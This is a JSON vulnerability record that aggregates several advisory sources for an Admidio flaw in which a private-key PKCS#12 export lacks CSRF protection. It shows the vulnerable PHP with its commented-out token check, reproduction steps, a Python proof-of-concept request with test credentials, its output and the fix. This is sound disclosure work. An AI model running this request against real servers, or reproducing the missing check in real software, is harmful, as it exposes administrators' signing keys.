{"id":"CVE-2026-47232","aliases":["EUVD-2026-57209","GHSA-4rgq-38mh-9xqg"],"status":"published","title":"Admidio PKCS#12 private key export action lacks CSRF protection","description":"Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00132,"percentile":0.02818,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2026-05-29T22:07:24Z","modified":"2026-10-28T02:30:59Z","fixes":[{"ecosystem":"Packagist","package":"admidio/admidio","fixed_in":["5.0.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"admidio/admidio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.0.9"},{"fixed":"5.0.10"}]}]},{"source":"osv","ecosystem":"Packagist","package":"admidio/admidio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.10"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9"]}],"products":[{"vendor":"admidio","product":"admidio"}],"references":[{"url":"https://github.com/Admidio/admidio/security/advisories/GHSA-4rgq-38mh-9xqg","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-4rgq-38mh-9xqg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47232.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47232","tags":["advisory"]},{"url":"https://github.com/Admidio/admidio","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47232","title":"Admidio PKCS#12 private key export action lacks CSRF protection","description":"Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.","status":"published","published":"2026-08-12T13:18:55.507Z","modified":"2026-08-12T13:32:17.252Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T13:36:40.478484Z"}],"euvd":[{"id":"EUVD-2026-57209","description":"Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.","status":"published","published":"2026-08-12T13:18:55Z","modified":"2026-08-12T13:32:17Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:58.638592Z"}],"ghsa":[{"id":"GHSA-4rgq-38mh-9xqg","title":"Admidio PKCS#12 private key export action lacks CSRF protection","description":"## Summary\n\nThe sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.\n\n## Vulnerable Code Links\n\n- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94\n- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150\n\n## Vulnerable Code\n\n```php\n// modules/sso/keys.php\ncase 'export':\n// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\n```php\n// src/SSO/Service/KeyService.php\npublic function exportToPkcs12(string $keyUUID, string $password = '') {\n$ssoKey = new Key($this-\u003edb);\n$ssoKey-\u003ereadDataByUuid($keyUUID);\n...\nopenssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, [\"friendly_name\" =\u003e $name]);\nheader('Content-Type: application/x-pkcs12');\nheader('Content-Disposition: attachment; filename=\"' . $filename . '.p12\"');\necho $pkcs12;\nexit;\n}\n```\n\n\n## What Does The Code Mean\n\nThe export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.\n\n## Why The Code Is Vulnerable\n\nThe route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.\n\n## Verification Environment\n\n- Application: Admidio `v5.0.9`\n- Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080`\n- Validation mode: real deployed application, not isolated unit tests\n\n## Steps To Reproduce\n\n1. Log in as an administrator.\n2. Create or seed an SSO key pair.\n3. Send a POST request to `/modules/sso/keys.php?mode=export\u0026uuid=\u003ckey-uuid\u003e` with only `key_password=ExportPass123!` and no `adm_csrf_token`.\n4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.\n\n\n## PoC Script\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom helpers import BASE_URL, login, new_session, save_json, save_text\n\n\nKEY_UUID = os.environ[\"ADMIDIO_KEY_UUID\"]\n\n\ndef main():\nsession = new_session()\nlogin_result = login(session, \"admin\", \"AdminPass123!\")\nresp = session.post(\n    f\"{BASE_URL}/modules/sso/keys.php?mode=export\u0026uuid={KEY_UUID}\",\n    data={\"key_password\": \"ExportPass123!\"},\n)\nresp.raise_for_status()\n\nPath(\"/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12\").write_bytes(resp.content)\nsave_json(\n    \"pkcs12_export_csrf_result.json\",\n    {\n        \"login\": login_result,\n        \"status_code\": resp.status_code,\n        \"content_type\": resp.headers.get(\"Content-Type\"),\n        \"content_length\": len(resp.content),\n        \"content_disposition\": resp.headers.get(\"Content-Disposition\"),\n    },\n)\n\n\nif __name__ == \"__main__\":\nmain()\n```\n\n## PoC Output\n\n```text\n{\n  \"content_disposition\": \"attachment; filename=\\\"Runtime_Test_Key.p12\\\"\",\n  \"content_length\": 2644,\n  \"content_type\": \"application/x-pkcs12\",\n  \"login\": {\n\"cookies\": {\n  \"ADMIDIO_admidio_adm_SESSION_ID\": \"jpk70tcvbaq3gof7lqdq6penkb\"\n},\n\"csrf\": \"ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn\",\n\"json\": {\n  \"status\": \"success\",\n  \"url\": \"http://localhost:18080/modules/overview.php\"\n},\n\"status_code\": 200\n  },\n  \"status_code\": 200\n}\n\nMAC: sha256, Iteration 2048\nMAC length: 32, salt length: 8\nPKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\nCertificate bag\nPKCS7 Data\nShrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\n```\n\n## Impact\n\nA cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.\n\n## Remediation And Suggestions\n\nRestore CSRF validation and require a POST body token before exporting private key material.\n\n```php\ncase 'export':\nSecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\nFor additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.","status":"published","published":"2026-05-29T22:07:24Z","modified":"2026-06-14T17:47:49Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-47232","description":"Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.","status":"published","published":"2026-08-12T14:17:54.36Z","modified":"2026-09-09T20:55:04.493Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:36.880938Z"}],"osv":[{"id":"CVE-2026-47232","title":"Admidio PKCS#12 private key export action lacks CSRF protection","description":"Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.","status":"published","published":"2026-08-12T13:18:55.507Z","modified":"2026-10-28T02:30:59.339862159Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-4rgq-38mh-9xqg","title":"Admidio PKCS#12 private key export action lacks CSRF protection","description":"## Summary\n\nThe sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.\n\n## Vulnerable Code Links\n\n- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94\n- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150\n\n## Vulnerable Code\n\n```php\n// modules/sso/keys.php\ncase 'export':\n// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\n```php\n// src/SSO/Service/KeyService.php\npublic function exportToPkcs12(string $keyUUID, string $password = '') {\n$ssoKey = new Key($this-\u003edb);\n$ssoKey-\u003ereadDataByUuid($keyUUID);\n...\nopenssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, [\"friendly_name\" =\u003e $name]);\nheader('Content-Type: application/x-pkcs12');\nheader('Content-Disposition: attachment; filename=\"' . $filename . '.p12\"');\necho $pkcs12;\nexit;\n}\n```\n\n\n## What Does The Code Mean\n\nThe export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.\n\n## Why The Code Is Vulnerable\n\nThe route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.\n\n## Verification Environment\n\n- Application: Admidio `v5.0.9`\n- Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080`\n- Validation mode: real deployed application, not isolated unit tests\n\n## Steps To Reproduce\n\n1. Log in as an administrator.\n2. Create or seed an SSO key pair.\n3. Send a POST request to `/modules/sso/keys.php?mode=export\u0026uuid=\u003ckey-uuid\u003e` with only `key_password=ExportPass123!` and no `adm_csrf_token`.\n4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.\n\n\n## PoC Script\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom helpers import BASE_URL, login, new_session, save_json, save_text\n\n\nKEY_UUID = os.environ[\"ADMIDIO_KEY_UUID\"]\n\n\ndef main():\nsession = new_session()\nlogin_result = login(session, \"admin\", \"AdminPass123!\")\nresp = session.post(\n    f\"{BASE_URL}/modules/sso/keys.php?mode=export\u0026uuid={KEY_UUID}\",\n    data={\"key_password\": \"ExportPass123!\"},\n)\nresp.raise_for_status()\n\nPath(\"/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12\").write_bytes(resp.content)\nsave_json(\n    \"pkcs12_export_csrf_result.json\",\n    {\n        \"login\": login_result,\n        \"status_code\": resp.status_code,\n        \"content_type\": resp.headers.get(\"Content-Type\"),\n        \"content_length\": len(resp.content),\n        \"content_disposition\": resp.headers.get(\"Content-Disposition\"),\n    },\n)\n\n\nif __name__ == \"__main__\":\nmain()\n```\n\n## PoC Output\n\n```text\n{\n  \"content_disposition\": \"attachment; filename=\\\"Runtime_Test_Key.p12\\\"\",\n  \"content_length\": 2644,\n  \"content_type\": \"application/x-pkcs12\",\n  \"login\": {\n\"cookies\": {\n  \"ADMIDIO_admidio_adm_SESSION_ID\": \"jpk70tcvbaq3gof7lqdq6penkb\"\n},\n\"csrf\": \"ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn\",\n\"json\": {\n  \"status\": \"success\",\n  \"url\": \"http://localhost:18080/modules/overview.php\"\n},\n\"status_code\": 200\n  },\n  \"status_code\": 200\n}\n\nMAC: sha256, Iteration 2048\nMAC length: 32, salt length: 8\nPKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\nCertificate bag\nPKCS7 Data\nShrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\n```\n\n## Impact\n\nA cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.\n\n## Remediation And Suggestions\n\nRestore CSRF validation and require a POST body token before exporting private key material.\n\n```php\ncase 'export':\nSecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\nFor additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.","status":"published","published":"2026-05-29T22:07:24Z","modified":"2026-09-10T03:51:04.690024311Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}
